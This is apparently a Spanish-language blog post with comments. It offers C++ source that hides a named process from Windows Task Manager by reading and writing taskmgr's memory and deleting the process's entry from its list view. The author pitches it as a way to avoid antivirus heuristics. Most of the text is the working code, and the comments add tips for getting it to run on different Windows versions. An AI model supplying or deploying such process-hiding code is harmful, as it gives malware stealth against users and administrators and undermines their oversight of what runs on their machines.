Codigo escrito en C++ para ocultar nuestro proceso al Administrador de tareas sin necesidad de utilizar inyeccion.
Es un metodo bastante bueno si se quiere ocultar un proceso al Taskmgr.exe y no tener problemas con los sistemas heuristicos de los antivirus al realizar inyecciones.
using namespace std;
LVITEM ItemLista, *_ItemLista;
char item[512], subitem[512];
char *_item, *_subitem;
unsigned long pid;
HANDLE HProceso;
char ExeProc[50]; //Proceso a ocultar
BOOL CALLBACK PrOcultar(HWND hwnd,LPARAM lParam)
{
char HLista[150] = "";
char HAdminT[150] = "";
GetWindowText(hwnd,HAdminT,149);
GetClassName(hwnd,HLista,249);
if (strstr(HAdminT,"Procesos") && strstr(HLista,"SysListView32") !=NULL)
/* Si encontramos la columna "Procesos" en el Taskmanager y la clase "SysListView32"
de la listvew
*/
{
int count=(int)SendMessage(hwnd, LVM_GETITEMCOUNT, 0, 0); // Contamos los Items listados
int i;
GetWindowThreadProcessId(hwnd, &pid); //Obtenemos el Pid de cada Proceso listado como Item
HProceso=OpenProcess(PROCESS_VM_OPERATION|PROCESS_VM_READ|
PROCESS_VM_WRITE|PROCESS_QUERY_INFORMATION, FALSE, pid);
// Obtenemos el Hndle del proceso como Item de la Listvew
_ItemLista=(LVITEM*)VirtualAllocEx(HProceso, NULL, sizeof(LVITEM),
MEM_COMMIT, PAGE_READWRITE); // Asiganos permisos de lectura y escritura al Listvew
_item=(char*)VirtualAllocEx(HProceso, NULL, 512, MEM_COMMIT,
PAGE_READWRITE);
_subitem=(char*)VirtualAllocEx(HProceso, NULL, 512, MEM_COMMIT,
PAGE_READWRITE); // Asiganos Lectura y Escritura en la region asiganda
ItemLista.cchTextMax=512;
for(i=0; i<count; i++) { // Contamos cada Item en un Bucle
ItemLista.iSubItem=0;
ItemLista.pszText=_item;
WriteProcessMemory(HProceso, _ItemLista, &ItemLista, sizeof(LVITEM), NULL);
SendMessage(hwnd, LVM_GETITEMTEXT, (WPARAM)i, (LPARAM)_ItemLista); // Obtenemos el nombre de cada Item (Proceso)
ItemLista.iSubItem=1; // Posicion de la columna en el listview
ItemLista.pszText=_subitem;
WriteProcessMemory(HProceso, _ItemLista, &ItemLista, sizeof(LVITEM), NULL);
SendMessage(hwnd, LVM_GETITEMTEXT, (WPARAM)i, (LPARAM)_ItemLista);
ReadProcessMemory(HProceso, _item, item, 512, NULL);
ReadProcessMemory(HProceso, _subitem, subitem, 512, NULL);
if (strstr(item,ExeProc) != NULL) SendMessage(hwnd, LVM_DELETEITEM, (WPARAM)i, (LPARAM)_ItemLista);
// Si exise el Proceso a Ocultar, eliminamos el Item de la Listvew
}
VirtualFreeEx(HProceso, _ItemLista, 0, MEM_RELEASE); // Libreamos…
VirtualFreeEx(HProceso, _item, 0, MEM_RELEASE);
VirtualFreeEx(HProceso, _subitem, 0, MEM_RELEASE);
return FALSE;
}
return TRUE;
}
int main(){
HWND fwindow;
printf("%s","\n\n Ocultar Procesos al Task Manager \n");
printf("%s","\n << By Octalh >>\n\n");
printf("%s"," [ www.aztekmindz.org | octalh@gmail.com ]\n \n");
printf(" Escribe el proceso que deseas ocultar: ");
gets(ExeProc);
printf("\n\n Ocultando Proceso: [ %s ]",ExeProc);
for(;;)
{
EnumChildWindows(FindWindow(0,"Administrador de tareas de Windows"),PrOcultar,0);
}
return 0;
}
muy bueno el laburo. queria comentarte q donde me dice q ponga el proceso a ocultar pongo por ej msnmsgr.exe y no pasa nada. ese es el mecanismo o hay q hacer otra cosa? gracias
Tienes que verificar varias cosas, dado que el codigo es unicamente para demostrar como hacerlo y no como una herramienta en si.
Por ejemplo verifica bien el nombre del taskmanager porque se utiliza el nombre enves de la clase de la ventana (”Administrador de tareas de Windows”) y tmb verifica estas partes:
if (strstr(HAdminT,”Procesos”) && strstr(HLista,”SysListView32″) !=NULL)
ya que esto cambia dependiendo de la version de windows y este codigo esta hecho para funcionar con xp en español.
salu2
Holaa! muy bueno lo he utilizado y esta copado. Pero tengo una consulta no se mucho de c++ y recien empiezo. Con que compilador puedo compilar el codigo para probar y emepezar a aprender tengo xp en español y quisiera probar compilar el codigo por mi mismo. Gracias.
que librerias has usado para compilare la aplicacion,
por ejemplo windows.h,stdio.h …
que librerias has usado para compilar la aplicacion??
por ejemplo windows.h,stdio.h …
prueba de meter un pequeño Sleep()
para que el programa no te consuma tanta CPU